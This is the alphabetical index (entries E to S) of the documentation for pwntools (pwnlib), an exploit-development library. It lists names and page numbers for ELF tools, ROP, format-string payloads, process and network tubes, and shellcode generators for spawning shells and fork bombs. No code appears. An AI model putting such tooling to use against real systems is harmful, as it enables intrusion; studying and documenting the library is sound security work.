- elfs (pwnlib.rop.rop.ROP attribute), 113
- elftype (pwnlib.dynelf.DynELF attribute), 51
- elftype (pwnlib.elf.elf.ELF attribute), 61
- emit() (pwnlib.log.Handler method), 91
- encode() (in module pwnlib.encoders.encoder), 52
- endian (pwnlib.context.ContextType attribute), 44
- endian (pwnlib.elf.elf.ELF attribute), 61
- endianness (pwnlib.context.ContextType attribute), 44
- endiannesses (pwnlib.context.ContextType attribute), 44
- enhex() (in module pwnlib.util.fiddling), 254
- entry (pwnlib.elf.elf.ELF attribute), 61
- entrypoint (pwnlib.elf.elf.ELF attribute), 61
- env (pwnlib.elf.corefile.Corefile attribute), 72
- env (pwnlib.tubes.process.process attribute), 178
- envp_address (pwnlib.elf.corefile.Corefile attribute), 72
- epilog() (in module pwnlib.shellcraft.i386), 144
- error
 - pwn-errno command line option, 16
- error() (pwnlib.log.Logger method), 90
- exception() (pwnlib.log.Logger method), 90
- exe
 - pwn-template command line option, 19
- exe (pwnlib.elf.corefile.Corefile attribute), 72
- exe() (in module pwnlib.util.proc), 289
- execstack (pwnlib.elf.elf.ELF attribute), 61
- executable (pwnlib.elf.elf.ELF attribute), 62
- executable (pwnlib.tubes.process.process attribute), 178
- executable_segments (pwnlib.elf.elf.ELF attribute), 62
- execute() (pwnlib.protocols.adb.AdbClient method), 100
- execute_writes() (pwnlib.fmtstr.FmtStr method), 78
- exists() (in module pwnlib.adb.adb), 23
- expr() (in module pwnlib.util.safeeval), 291
- extract_dependencies() (in module pwnlib.regsor), 162

F

- failure() (pwnlib.log.Logger method), 90
- failure() (pwnlib.log.Progress method), 89
- family (pwnlib.tubes.listen.listen attribute), 182
- family (pwnlib.tubes.server.server attribute), 183
- fastboot() (in module pwnlib.adb.adb), 23
- fault_addr (pwnlib.elf.corefile.Corefile attribute), 72
- field() (pwnlib.memleak.MemLeak method), 95
- field_compare() (pwnlib.memleak.MemLeak method), 95
- file
 - pwn-phd command line option, 16
 - pwn-pwnstrip command line option, 17
- file (pwnlib.elf.elf.ELF attribute), 62
- fileno() (pwnlib.tubes.process.process method), 177
- fileno() (pwnlib.tubes.serialtube.serialtube method), 179

- fileno() (pwnlib.tubes.tube.tube method), 196
- find() (pwnlib.elf.corefile.Mapping method), 74
- find_base() (pwnlib.dynelf.DynELF static method), 51
- find_crc_function() (in module pwnlib.util.crc), 208
- find_gadget() (pwnlib.rop.rop.ROP method), 112
- find_module_addresses() (in module pwnlib.gdb), 85
- find_ndk_project_root() (in module pwnlib.adb.adb), 23
- findall() (in module pwnlib.util.lists), 275
- findpeer() (in module pwnlib.shellcraft.amd64.linux), 133
- findpeer() (in module pwnlib.shellcraft.i386.linux), 152
- findpeer() (in module pwnlib.shellcraft.mips.linux), 159
- findpeer() (in module pwnlib.shellcraft.thumb.linux), 169
- findpeersh() (in module pwnlib.shellcraft.amd64.linux), 133
- findpeersh() (in module pwnlib.shellcraft.i386.linux), 152
- findpeersh() (in module pwnlib.shellcraft.mips.linux), 159
- findpeersh() (in module pwnlib.shellcraft.thumb.linux), 169
- findpeerstager() (in module pwnlib.shellcraft.amd64.linux), 133
- findpeerstager() (in module pwnlib.shellcraft.i386.linux), 152
- findpeerstager() (in module pwnlib.shellcraft.thumb.linux), 169
- fingerprint() (in module pwnlib.adb.adb), 23
- fit() (in module pwnlib.util.packing), 282
- fit() (pwnlib.elf.elf.ELF method), 54
- flags (pwnlib.elf.corefile.Mapping attribute), 74
- flat() (in module pwnlib.util.packing), 282
- flat() (pwnlib.elf.elf.ELF method), 54
- flatten() (in module pwnlib.util.itors), 266
- FmtStr (class in pwnlib.fmtstr), 77
- fmtstr_payload() (in module pwnlib.fmtstr), 78
- forever (pwnlib.timeout.Timeout attribute), 173
- forkbomb() (in module pwnlib.shellcraft.amd64.linux), 133
- forkbomb() (in module pwnlib.shellcraft.arm.linux), 142
- forkbomb() (in module pwnlib.shellcraft.i386.linux), 152
- forkbomb() (in module pwnlib.shellcraft.mips.linux), 159
- forkbomb() (in module pwnlib.shellcraft.thumb.linux), 169
- forkexit() (in module pwnlib.shellcraft.aarch64.linux), 124
- forkexit() (in module pwnlib.shellcraft.amd64.linux), 133
- forkexit() (in module pwnlib.shellcraft.arm.linux), 142
- forkexit() (in module pwnlib.shellcraft.i386.linux), 152
- forkexit() (in module pwnlib.shellcraft.mips.linux), 160
- forkexit() (in module pwnlib.shellcraft.thumb.linux), 169
- format() (pwnlib.log.Formatter method), 91
- Formatter (class in pwnlib.log), 91
- fortify (pwnlib.elf.elf.ELF attribute), 62
- forward() (in module pwnlib.adb.adb), 23
- from_assembly() (pwnlib.elf.elf.ELF static method), 55

from_bytes() (pwnlib.elf.elf.ELF static method), 55
 fromsocket() (pwnlib.tubes.remote.remote class method), 181
 Function (class in pwnlib.elf.elf), 65
 function() (in module pwnlib.shellcraft.i386), 144
 functions (pwnlib.elf.elf.ELF attribute), 62

G

gdbinit (pwnlib.context.ContextType attribute), 44
 generatePadding() (pwnlib.rop.rop.ROP method), 112
 generic_crc() (in module pwnlib.util.crc), 207
 get() (pwnlib.tubes.ssh.ssh method), 185
 get_build_id_offsets() (in module pwnlib.libcddb), 86
 get_machine_arch() (pwnlib.elf.elf.ELF method), 55
 get_section_by_name() (pwnlib.elf.elf.ELF method), 55
 getall() (in module pwnlib.useragents), 205
 getenv() (pwnlib.elf.corefile.Corefile method), 71
 getenv() (pwnlib.tubes.ssh.ssh method), 185
 getifaddrs() (in module pwnlib.util.net), 280
 getpc() (in module pwnlib.shellcraft.i386), 144
 getpid() (in module pwnlib.shellcraft.amd64.linux), 133
 getprop() (in module pwnlib.adb.adb), 23
 gnu_hash() (in module pwnlib.dynelf), 51
 got (pwnlib.elf.elf.ELF attribute), 62
 group() (in module pwnlib.util.itors), 266
 group() (in module pwnlib.util.lists), 275
 groupby() (in module pwnlib.util.itors), 274

H

Handler (class in pwnlib.log), 91
 heap() (pwnlib.dynelf.DynELF method), 51
 hex
 pwn-disasm command line option, 15
 pwn-unhex command line option, 19
 hexdump() (in module pwnlib.util.fiddling), 254
 hexdump_iter() (in module pwnlib.util.fiddling), 258
 hexii() (in module pwnlib.util.fiddling), 259
 host (pwnlib.tubes.ssh.ssh attribute), 192

I

i386_to_amd64() (in module pwn-lib.shellcraft.i386.freebsd), 156
 i386_to_amd64() (in module pwn-lib.shellcraft.i386.linux), 152
 i386XorEncoder (class in pwnlib.encoders.i386.xor), 52
 ifilter() (in module pwnlib.util.itors), 274
 ifilterfalse() (in module pwnlib.util.itors), 274
 imap() (in module pwnlib.util.itors), 274
 indented() (pwnlib.log.Logger method), 90
 infloop() (in module pwnlib.shellcraft.aarch64), 120
 infloop() (in module pwnlib.shellcraft.amd64), 127
 infloop() (in module pwnlib.shellcraft.arm), 137
 infloop() (in module pwnlib.shellcraft.i386), 144
 infloop() (in module pwnlib.shellcraft.thumb), 165

info() (pwnlib.log.Logger method), 90
 info_once() (pwnlib.log.Logger method), 90
 init() (in module pwnlib.term), 172
 install() (in module pwnlib.adb.adb), 23
 install_default_handler() (in module pwnlib.log), 89
 interactive() (in module pwnlib.adb.adb), 23
 interactive() (pwnlib.tubes.ssh.ssh method), 185
 interactive() (pwnlib.tubes.ssh.ssh_channel method), 193
 interactive() (pwnlib.tubes.tube.tube method), 196
 interfaces() (in module pwnlib.util.net), 280
 interfaces4() (in module pwnlib.util.net), 280
 interfaces6() (in module pwnlib.util.net), 280
 isdir() (in module pwnlib.adb.adb), 23
 isEnabledFor() (pwnlib.log.Logger method), 90
 isident() (in module pwnlib.args), 30
 islice() (in module pwnlib.util.itors), 274
 isprint() (in module pwnlib.util.fiddling), 259
 iter_except() (in module pwnlib.util.itors), 266
 iter_segments_by_type() (pwnlib.elf.elf.ELF method), 55
 itoa() (in module pwnlib.shellcraft.amd64), 127
 itoa() (in module pwnlib.shellcraft.arm), 137
 itoa() (in module pwnlib.shellcraft.i386), 144
 itoa() (in module pwnlib.shellcraft.thumb), 165
 izip() (in module pwnlib.util.itors), 274
 izip_longest() (in module pwnlib.util.itors), 274

J

jamcrc() (in module pwnlib.util.crc), 247

K

kermit() (in module pwnlib.util.crc), 247
 kernel (pwnlib.context.ContextType attribute), 45
 kill() (in module pwnlib.shellcraft.amd64.linux), 133
 kill() (pwnlib.protocols.adb.AdbClient method), 100
 kill() (pwnlib.tubes.process.process method), 177
 kill() (pwnlib.tubes.ssh.ssh_channel method), 193
 killparent() (in module pwnlib.shellcraft.amd64.linux), 133
 killparent() (in module pwnlib.shellcraft.arm.linux), 142
 killparent() (in module pwnlib.shellcraft.i386.linux), 152
 killparent() (in module pwnlib.shellcraft.mips.linux), 160
 killparent() (in module pwnlib.shellcraft.thumb.linux), 169

L

label() (in module pwnlib.shellcraft.common), 143
 last_check() (in module pwnlib.update), 205
 ld_prefix() (in module pwnlib.qemu), 104
 leak() (pwnlib.tubes.process.process method), 177
 lexicographic() (in module pwnlib.util.itors), 267
 lhost (pwnlib.tubes.listen.listen attribute), 182
 lhost (pwnlib.tubes.server.server attribute), 183
 libc (pwnlib.dynelf.DynELF attribute), 51
 libc (pwnlib.elf.corefile.Corefile attribute), 72

libc (pwnlib.elf.elf.ELF attribute), 62
 libc (pwnlib.tubes.process.process attribute), 178
 library (pwnlib.elf.elf.ELF attribute), 62
 libs() (pwnlib.tubes.process.process method), 177
 libs() (pwnlib.tubes.ssh.ssh method), 185
 line
 pwn-asm command line option, 12
 line() (in module pwnlib.encoders.encoder), 52
 link_map (pwnlib.dynelf.DynELF attribute), 51
 linker (pwnlib.elf.elf.ELF attribute), 62
 list() (pwnlib.protocols.adb.AdbClient method), 101
 listdir() (in module pwnlib.adb.adb), 24
 listen (class in pwnlib.tubes.listen), 181
 listen() (in module pwnlib.shellcraft.amd64.linux), 133
 listen() (in module pwnlib.shellcraft.mips.linux), 160
 listen() (in module pwnlib.shellcraft.thumb.linux), 169
 listen() (pwnlib.tubes.ssh.ssh method), 185
 listen_remote() (pwnlib.tubes.ssh.ssh method), 186
 loader() (in module pwnlib.shellcraft.aarch64.linux), 125
 loader() (in module pwnlib.shellcraft.amd64.linux), 133
 loader() (in module pwnlib.shellcraft.i386.linux), 152
 loader() (in module pwnlib.shellcraft.thumb.linux), 169
 loader_append() (in module pwnlib.shellcraft.aarch64.linux), 125
 loader_append() (in module pwnlib.shellcraft.amd64.linux), 134
 loader_append() (in module pwnlib.shellcraft.i386.linux), 152
 loader_append() (in module pwnlib.shellcraft.thumb.linux), 169
 local() (pwnlib.context.ContextType method), 39
 local() (pwnlib.timeout.Timeout method), 173
 log() (pwnlib.log.Logger method), 90
 log_console (pwnlib.context.ContextType attribute), 45
 log_file (pwnlib.context.ContextType attribute), 45
 LOG_FILE() (in module pwnlib.args), 29
 log_level (pwnlib.context.ContextType attribute), 45
 LOG_LEVEL() (in module pwnlib.args), 29
 logcat() (in module pwnlib.adb.adb), 24
 Logger (class in pwnlib.log), 89
 lookahead() (in module pwnlib.util.itors), 267
 lookup() (pwnlib.dynelf.DynELF method), 51
 lport (pwnlib.tubes.listen.listen attribute), 182
 lport (pwnlib.tubes.server.server attribute), 183

M

make_elf() (in module pwnlib.asm), 32
 make_elf_from_assembly() (in module pwnlib.asm), 32
 make_packer() (in module pwnlib.util.packing), 283
 make_unpacker() (in module pwnlib.util.packing), 284
 makedirs() (in module pwnlib.adb.adb), 24
 Mapping (class in pwnlib.elf.corefile), 74
 mappings (pwnlib.elf.corefile.Corefile attribute), 72
 maps (pwnlib.elf.corefile.Corefile attribute), 72

Maximum (class in pwnlib.timeout), 172
 maximum (pwnlib.timeout.Timeout attribute), 173
 mbruteforce() (in module pwnlib.util.itors), 264
 md5file() (in module pwnlib.util.hashes), 262
 md5filehex() (in module pwnlib.util.hashes), 262
 md5sum() (in module pwnlib.util.hashes), 262
 md5sumhex() (in module pwnlib.util.hashes), 262
 membot() (in module pwnlib.shellcraft.amd64.linux), 134
 memcpy() (in module pwnlib.shellcraft.amd64), 127
 memcpy() (in module pwnlib.shellcraft.arm), 138
 memcpy() (in module pwnlib.shellcraft.i386), 145
 memcpy() (in module pwnlib.shellcraft.thumb), 165
 MemLeak (class in pwnlib.memleak), 91
 memory (pwnlib.elf.elf.ELF attribute), 62
 Message (class in pwnlib.protocols.adb), 103
 metasploit_pattern() (in module pwnlib.util.cyclic), 252
 migrate() (pwnlib.rop.rop.ROP method), 112
 migrate_stack() (in module pwnlib.shellcraft.amd64.linux), 134
 migrated (pwnlib.rop.rop.ROP attribute), 113
 mkdir() (in module pwnlib.adb.adb), 24
 mkdir_p() (in module pwnlib.util.misc), 277
 mmap (pwnlib.elf.elf.ELF attribute), 62
 mmap_rwx() (in module pwnlib.shellcraft.amd64.linux), 134
 modbus() (in module pwnlib.util.crc), 247
 more() (in module pwnlib.ui), 204
 mov() (in module pwnlib.shellcraft.aarch64), 120
 mov() (in module pwnlib.shellcraft.amd64), 127
 mov() (in module pwnlib.shellcraft.arm), 138
 mov() (in module pwnlib.shellcraft.i386), 145
 mov() (in module pwnlib.shellcraft.mips), 156
 mov() (in module pwnlib.shellcraft.thumb), 165
 mprotect_all() (in module pwnlib.shellcraft.i386.linux), 153
 msan (pwnlib.elf.elf.ELF attribute), 62

N

n() (pwnlib.memleak.MemLeak method), 95
 naf() (in module pwnlib.util.fiddling), 259
 name (pwnlib.elf.corefile.Mapping attribute), 75
 name (pwnlib.elf.elf.Function attribute), 65
 name() (in module pwnlib.util.proc), 289
 native (pwnlib.elf.elf.ELF attribute), 62
 negate() (in module pwnlib.util.fiddling), 259
 newline (pwnlib.tubes.tube.tube attribute), 204
 NOASLR() (in module pwnlib.args), 29
 non_writable_segments (pwnlib.elf.elf.ELF attribute), 62
 NoNewlines() (pwnlib.memleak.MemLeak static method), 92
 NoNulls() (pwnlib.memleak.MemLeak static method), 93
 nop() (in module pwnlib.shellcraft.amd64), 129
 nop() (in module pwnlib.shellcraft.arm), 139
 nop() (in module pwnlib.shellcraft.i386), 146

nop() (in module pwnlib.shellcraft.mips), 157
 nop() (in module pwnlib.shellcraft.thumb), 166
 noptrace (pwnlib.context.ContextType attribute), 46
 NOPTRACE() (in module pwnlib.args), 29
 NOTERM() (in module pwnlib.args), 29
 NoWhitespace() (pwnlib.memleak.MemLeak method), 93
 nth() (in module pwnlib.util.itors), 268
 null() (in module pwnlib.encoders.encoder), 52
 num_sections() (pwnlib.elf.elf.ELF method), 55
 num_segments() (pwnlib.elf.elf.ELF method), 55
 nx (pwnlib.elf.elf.ELF attribute), 63

O

offset_to_vaddr() (pwnlib.elf.elf.ELF method), 55
 open() (in module pwnlib.shellcraft.aarch64.linux), 125
 open_file() (in module pwnlib.shellcraft.arm.linux), 142
 options() (in module pwnlib.ui), 204
 ordlist() (in module pwnlib.util.lists), 275
 os (pwnlib.context.ContextType attribute), 46
 os (pwnlib.elf.elf.ELF attribute), 63
 os (pwnlib.tubes.ssh.ssh attribute), 193
 oses (pwnlib.context.ContextType attribute), 46

P

p() (pwnlib.memleak.MemLeak method), 95
 p16() (in module pwnlib.util.packing), 284
 p16() (pwnlib.elf.elf.ELF method), 56
 p16() (pwnlib.memleak.MemLeak method), 95
 p32() (in module pwnlib.util.packing), 284
 p32() (pwnlib.elf.elf.ELF method), 56
 p32() (pwnlib.memleak.MemLeak method), 96
 p64() (in module pwnlib.util.packing), 285
 p64() (pwnlib.elf.elf.ELF method), 56
 p64() (pwnlib.memleak.MemLeak method), 96
 p8() (in module pwnlib.util.packing), 285
 p8() (pwnlib.elf.elf.ELF method), 56
 p8() (pwnlib.memleak.MemLeak method), 96
 pack() (in module pwnlib.util.packing), 285
 pack() (pwnlib.elf.elf.ELF method), 56
 packages() (in module pwnlib.adb.adb), 25
 packed (pwnlib.elf.elf.ELF attribute), 63
 pad() (in module pwnlib.util.itors), 268
 page_offset (pwnlib.elf.corefile.Mapping attribute), 75
 pairwise() (in module pwnlib.util.itors), 268
 parent() (in module pwnlib.util.proc), 289
 parse_kconfig() (in module pwnlib.elf.config), 66
 parse_ldd_output() (in module pwnlib.util.misc), 277
 partition() (in module pwnlib.util.lists), 276
 path (pwnlib.elf.corefile.Mapping attribute), 75
 path (pwnlib.elf.elf.ELF attribute), 63
 pause() (in module pwnlib.ui), 204
 pc (pwnlib.elf.corefile.Corefile attribute), 73
 perform_check() (in module pwnlib.update), 205

permstr (pwnlib.elf.corefile.Mapping attribute), 75
 permutations() (in module pwnlib.util.itors), 274
 pid (pwnlib.elf.corefile.Corefile attribute), 73
 pid (pwnlib.tubes.ssh.ssh attribute), 193
 pid_by_name() (in module pwnlib.util.proc), 289
 pidmax() (in module pwnlib.shellcraft.i386.linux), 153
 pidof() (in module pwnlib.adb.adb), 25
 pidof() (in module pwnlib.util.proc), 289
 pie (pwnlib.elf.elf.ELF attribute), 63
 plt (pwnlib.elf.elf.ELF attribute), 63
 poll() (pwnlib.tubes.process.process method), 177
 poll() (pwnlib.tubes.ssh.ssh_channel method), 193
 popad() (in module pwnlib.shellcraft.amd64), 129
 popad() (in module pwnlib.shellcraft.thumb), 166
 port (pwnlib.tubes.ssh.ssh attribute), 193
 powerset() (in module pwnlib.util.itors), 269
 ppid (pwnlib.elf.corefile.Corefile attribute), 73
 print_binutils_instructions() (in module pwnlib.asm), 34
 printable() (in module pwnlib.encoders.encoder), 52
 proc (pwnlib.tubes.process.process attribute), 178
 proc_exe() (in module pwnlib.adb.adb), 25
 Process (class in pwnlib.protocols.adb), 103
 process (class in pwnlib.tubes.process), 174
 process() (in module pwnlib.adb.adb), 25
 process() (pwnlib.elf.elf.ELF method), 56
 process() (pwnlib.tubes.ssh.ssh method), 186
 product() (in module pwnlib.adb.adb), 25
 product() (in module pwnlib.util.itors), 274
 program (pwnlib.tubes.process.process attribute), 178
 Progress (class in pwnlib.log), 89
 progress() (pwnlib.log.Logger method), 89
 prolog() (in module pwnlib.shellcraft.i386), 146
 protocol (pwnlib.tubes.listen.listen attribute), 182
 protocol (pwnlib.tubes.server.server attribute), 183
 proxy (pwnlib.context.ContextType attribute), 46
 proxy() (in module pwnlib.protocols.adb), 103
 prpsinfo (pwnlib.elf.corefile.Corefile attribute), 73
 prstatus (pwnlib.elf.corefile.Corefile attribute), 73
 pty (pwnlib.tubes.process.process attribute), 179
 pull() (in module pwnlib.adb.adb), 25
 push() (in module pwnlib.adb.adb), 25
 push() (in module pwnlib.shellcraft.aarch64), 120
 push() (in module pwnlib.shellcraft.amd64), 129
 push() (in module pwnlib.shellcraft.arm), 139
 push() (in module pwnlib.shellcraft.i386), 147
 push() (in module pwnlib.shellcraft.mips), 157
 push() (in module pwnlib.shellcraft.thumb), 166
 pushad() (in module pwnlib.shellcraft.amd64), 129
 pushad() (in module pwnlib.shellcraft.thumb), 167
 pushstr() (in module pwnlib.shellcraft.aarch64), 121
 pushstr() (in module pwnlib.shellcraft.amd64), 129
 pushstr() (in module pwnlib.shellcraft.arm), 139
 pushstr() (in module pwnlib.shellcraft.i386), 147
 pushstr() (in module pwnlib.shellcraft.mips), 157

- pwnlib.tubes.sock (module), 180
- pwnlib.tubes.ssh (module), 183
- pwnlib.tubes.tube (module), 193
- pwnlib.ui (module), 204
- pwnlib.update (module), 204
- pwnlib.useragents (module), 205
- pwnlib.util.crc (module), 206
- pwnlib.util.cyclic (module), 249
- pwnlib.util.fiddling (module), 252
- pwnlib.util.hashes (module), 262
- pwnlib.util.itors (module), 264
- pwnlib.util.lists (module), 274
- pwnlib.util.misc (module), 276
- pwnlib.util.net (module), 280
- pwnlib.util.packing (module), 281
- pwnlib.util.proc (module), 288
- pwnlib.util.safeeval (module), 290
- pwnlib.util.sh_string (module), 292
- pwnlib.util.web (module), 297
- PwnlibArgs (class in pwnlib.args), 29
- PwnlibException, 75

Q

- q() (pwnlib.memleak.MemLeak method), 96
- quantify() (in module pwnlib.util.itors), 269
- quiet (pwnlib.context.ContextType attribute), 46
- quietfunc() (pwnlib.context.ContextType method), 40

R

- random() (in module pwnlib.useragents), 205
- random_combination() (in module pwnlib.util.itors), 269
- random_combination_with_replacement() (in module pwnlib.util.itors), 270
- random_permutation() (in module pwnlib.util.itors), 270
- random_product() (in module pwnlib.util.itors), 270
- randomize (pwnlib.context.ContextType attribute), 47
- RANDOMIZE() (in module pwnlib.args), 29
- randoms() (in module pwnlib.util.fiddling), 260
- raw (pwnlib.tubes.process.process attribute), 179
- raw() (pwnlib.memleak.MemLeak method), 96
- raw() (pwnlib.rop.rop.ROP method), 112
- read() (in module pwnlib.adb.adb), 26
- read() (in module pwnlib.shellcraft.amd64.linux), 134
- read() (in module pwnlib.util.misc), 277
- read() (pwnlib.elf.elf.ELF method), 56
- read() (pwnlib.protocols.adb.AdbClient method), 101
- read() (pwnlib.tubes.ssh.ssh method), 188
- read_upto() (in module pwnlib.shellcraft.amd64.linux), 134
- readfile() (in module pwnlib.shellcraft.amd64.linux), 134
- readfile() (in module pwnlib.shellcraft.i386.linux), 153
- readfile() (in module pwnlib.shellcraft.mips.linux), 160
- readfile() (in module pwnlib.shellcraft.thumb.linux), 170
- readinto() (in module pwnlib.shellcraft.amd64.linux), 134

- readloop() (in module pwnlib.shellcraft.amd64.linux), 135
- readn() (in module pwnlib.shellcraft.aarch64.linux), 125
- readn() (in module pwnlib.shellcraft.amd64.linux), 135
- readn() (in module pwnlib.shellcraft.i386.linux), 153
- readn() (in module pwnlib.shellcraft.thumb.linux), 170
- readptr() (in module pwnlib.shellcraft.amd64.linux), 135
- reboot() (in module pwnlib.adb.adb), 26
- reboot_bootloader() (in module pwnlib.adb.adb), 26
- recv() (pwnlib.tubes.tube.tube method), 196
- recv_raw() (pwnlib.tubes.process.process method), 177
- recv_raw() (pwnlib.tubes.serialtube.serialtube method), 179
- recvall() (pwnlib.tubes.tube.tube method), 196
- recvl() (pwnlib.protocols.adb.AdbClient method), 101
- recvline() (pwnlib.tubes.tube.tube method), 196
- recvline_contains() (pwnlib.tubes.tube.tube method), 197
- recvline_endswith() (pwnlib.tubes.tube.tube method), 197
- recvline_pred() (pwnlib.tubes.tube.tube method), 198
- recvline_regex() (pwnlib.tubes.tube.tube method), 198
- recvline_startswith() (pwnlib.tubes.tube.tube method), 198
- recvlines() (pwnlib.tubes.tube.tube method), 199
- recvn() (pwnlib.tubes.tube.tube method), 199
- recvpred() (pwnlib.tubes.tube.tube method), 200
- recvregex() (pwnlib.tubes.tube.tube method), 200
- recvrepeat() (pwnlib.tubes.tube.tube method), 200
- recvsize() (in module pwnlib.shellcraft.amd64.linux), 135
- recvsize() (in module pwnlib.shellcraft.i386.linux), 153
- recvsize() (in module pwnlib.shellcraft.thumb.linux), 170
- recvuntil() (pwnlib.tubes.tube.tube method), 201
- regex
 - pwn-constgrep command line option, 13
- register() (in module pwnlib.atexception), 34
- register() (in module pwnlib.atexit), 35
- register_sizes() (in module pwnlib.util.misc), 277
- registers (pwnlib.elf.corefile.Corefile attribute), 73
- regsort() (in module pwnlib.regsort), 162
- RelativeMemLeak (class in pwnlib.memleak), 100
- relro (pwnlib.elf.elf.ELF attribute), 63
- remote (class in pwnlib.tubes.remote), 180
- remote() (pwnlib.tubes.ssh.ssh method), 188
- remount() (in module pwnlib.adb.adb), 26
- removeHandler() (pwnlib.log.Logger method), 91
- rename_corefiles (pwnlib.context.ContextType attribute), 47
- repeat() (in module pwnlib.util.itors), 274
- repeat_func() (in module pwnlib.util.itors), 271
- reset_local() (pwnlib.context.ContextType method), 40
- resolve() (pwnlib.rop.rop.ROP method), 112
- resolve_order() (in module pwnlib.regsort), 164
- ret() (in module pwnlib.shellcraft.amd64), 131
- ret() (in module pwnlib.shellcraft.arm), 139

ret() (in module pwnlib.shellcraft.i386), 148
 ret() (in module pwnlib.shellcraft.thumb), 167
 rfind() (pwnlib.elf.corefile.Mapping method), 74
 rol() (in module pwnlib.util.fiddling), 260
 root() (in module pwnlib.adb.adb), 26
 ROP (class in pwnlib.rop.rop), 109
 ror() (in module pwnlib.util.fiddling), 260
 roundrobin() (in module pwnlib.util.iters), 271
 routine() (in module pwnlib.util.packing), 286
 rpath (pwnlib.elf.elf.ELF attribute), 64
 run() (pwnlib.tubes.ssh.ssh method), 189
 run_assembly() (in module pwnlib.runner), 118
 run_assembly_exitcode() (in module pwnlib.runner), 119
 run_in_new_terminal() (in module pwnlib.util.misc), 278
 run_shellcode() (in module pwnlib.runner), 118
 run_shellcode_exitcode() (in module pwnlib.runner), 119
 run_to_end() (pwnlib.tubes.ssh.ssh method), 189
 runpath (pwnlib.elf.elf.ELF attribute), 64
 rwx_segments (pwnlib.elf.elf.ELF attribute), 64

S

s() (pwnlib.memleak.MemLeak method), 97
 save() (pwnlib.elf.elf.ELF method), 57
 scramble() (in module pwnlib.encoders.encoder), 52
 search() (pwnlib.elf.elf.ELF method), 58
 search() (pwnlib.rop.rop.ROP method), 112
 search_by_build_id() (in module pwnlib.libcddb), 86
 search_by_md5() (in module pwnlib.libcddb), 87
 search_by_sha1() (in module pwnlib.libcddb), 86
 search_by_sha256() (in module pwnlib.libcddb), 87
 search_iter() (pwnlib.rop.rop.ROP method), 113
 section() (pwnlib.elf.elf.ELF method), 58
 sections (pwnlib.elf.elf.ELF attribute), 64
 segments (pwnlib.elf.elf.ELF attribute), 64
 send() (pwnlib.protocols.adb.AdbClient method), 102
 send() (pwnlib.tubes.tube.tube method), 201
 send_raw() (pwnlib.tubes.process.process method), 177
 send_raw() (pwnlib.tubes.serialtube.serialtube method), 179
 sendafter() (pwnlib.tubes.tube.tube method), 202
 sendline() (pwnlib.tubes.tube.tube method), 202
 sendlineafter() (pwnlib.tubes.tube.tube method), 202
 sendlinethen() (pwnlib.tubes.tube.tube method), 202
 sendthen() (pwnlib.tubes.tube.tube method), 202
 serialtube (class in pwnlib.tubes.serialtube), 179
 server (class in pwnlib.tubes.server), 182
 set_regvalue() (pwnlib.rop.srop.SigreturnFrame method), 118
 set_working_directory() (pwnlib.tubes.ssh.ssh method), 189
 setb() (pwnlib.memleak.MemLeak method), 97
 setd() (pwnlib.memleak.MemLeak method), 97
 setLevel() (pwnlib.log.Logger method), 90
 setprop() (in module pwnlib.adb.adb), 26
 setq() (pwnlib.memleak.MemLeak method), 97
 setregid() (in module pwnlib.shellcraft.amd64.linux), 135
 setregid() (in module pwnlib.shellcraft.i386.linux), 153
 setRegisters() (pwnlib.rop.rop.ROP method), 113
 setregs() (in module pwnlib.shellcraft.aarch64), 123
 setregs() (in module pwnlib.shellcraft.amd64), 131
 setregs() (in module pwnlib.shellcraft.arm), 140
 setregs() (in module pwnlib.shellcraft.i386), 148
 setregs() (in module pwnlib.shellcraft.mips), 158
 setregs() (in module pwnlib.shellcraft.thumb), 168
 setreuid() (in module pwnlib.shellcraft.amd64.linux), 135
 setreuid() (in module pwnlib.shellcraft.i386.linux), 153
 sets() (pwnlib.memleak.MemLeak method), 97
 settimeout() (pwnlib.tubes.tube.tube method), 202
 settimeout_raw() (pwnlib.tubes.process.process method), 178
 settimeout_raw() (pwnlib.tubes.serialtube.serialtube method), 179
 setw() (pwnlib.memleak.MemLeak method), 98
 sftp (pwnlib.tubes.ssh.ssh attribute), 193
 sh() (in module pwnlib.shellcraft.aarch64.linux), 125
 sh() (in module pwnlib.shellcraft.amd64.linux), 135
 sh() (in module pwnlib.shellcraft.arm.linux), 142
 sh() (in module pwnlib.shellcraft.i386.freebsd), 156
 sh() (in module pwnlib.shellcraft.i386.linux), 154
 sh() (in module pwnlib.shellcraft.mips.linux), 160
 sh() (in module pwnlib.shellcraft.thumb.linux), 170
 sh_command_with() (in module pwnlib.util.sh_string), 295
 sh_prepare() (in module pwnlib.util.sh_string), 296
 sh_string() (in module pwnlib.util.sh_string), 296
 sha1file() (in module pwnlib.util.hashes), 263
 sha1filehex() (in module pwnlib.util.hashes), 263
 sha1sum() (in module pwnlib.util.hashes), 263
 sha1sumhex() (in module pwnlib.util.hashes), 263
 sha224file() (in module pwnlib.util.hashes), 263
 sha224filehex() (in module pwnlib.util.hashes), 263
 sha224sum() (in module pwnlib.util.hashes), 263
 sha224sumhex() (in module pwnlib.util.hashes), 263
 sha256file() (in module pwnlib.util.hashes), 263
 sha256filehex() (in module pwnlib.util.hashes), 263
 sha256sum() (in module pwnlib.util.hashes), 263
 sha256sumhex() (in module pwnlib.util.hashes), 263
 sha384file() (in module pwnlib.util.hashes), 263
 sha384filehex() (in module pwnlib.util.hashes), 263
 sha384sum() (in module pwnlib.util.hashes), 263
 sha384sumhex() (in module pwnlib.util.hashes), 263
 sha512file() (in module pwnlib.util.hashes), 263
 sha512filehex() (in module pwnlib.util.hashes), 263
 sha512sum() (in module pwnlib.util.hashes), 263
 sha512sumhex() (in module pwnlib.util.hashes), 263
 shell() (in module pwnlib.adb.adb), 26
 shell() (pwnlib.tubes.ssh.ssh method), 190
 shellcode

pwn-shellcraft command line option, 18
should_check() (in module pwnlib.update), 205
shutdown() (pwnlib.tubes.tube.tube method), 202
shutdown_raw() (pwnlib.tubes.process.process method), 178
shutdown_raw() (pwnlib.tubes.serialtube.serialtube method), 180
siginfo (pwnlib.elf.corefile.Corefile attribute), 73
sign (pwnlib.context.ContextType attribute), 47
signal (pwnlib.elf.corefile.Corefile attribute), 73
signed (pwnlib.context.ContextType attribute), 47
signedness (pwnlib.context.ContextType attribute), 47
signednesses (pwnlib.context.ContextType attribute), 47
SigreturnFrame (class in pwnlib.rop.srop), 116
silent (pwnlib.context.ContextType attribute), 47
SILENT() (in module pwnlib.args), 29
size (pwnlib.elf.corefile.Mapping attribute), 75
size (pwnlib.elf.elf.Function attribute), 65
size() (in module pwnlib.util.misc), 279
sleep() (in module pwnlib.replacements), 105
sock (class in pwnlib.tubes.sock), 180
sockaddr (pwnlib.tubes.listen.listen attribute), 182
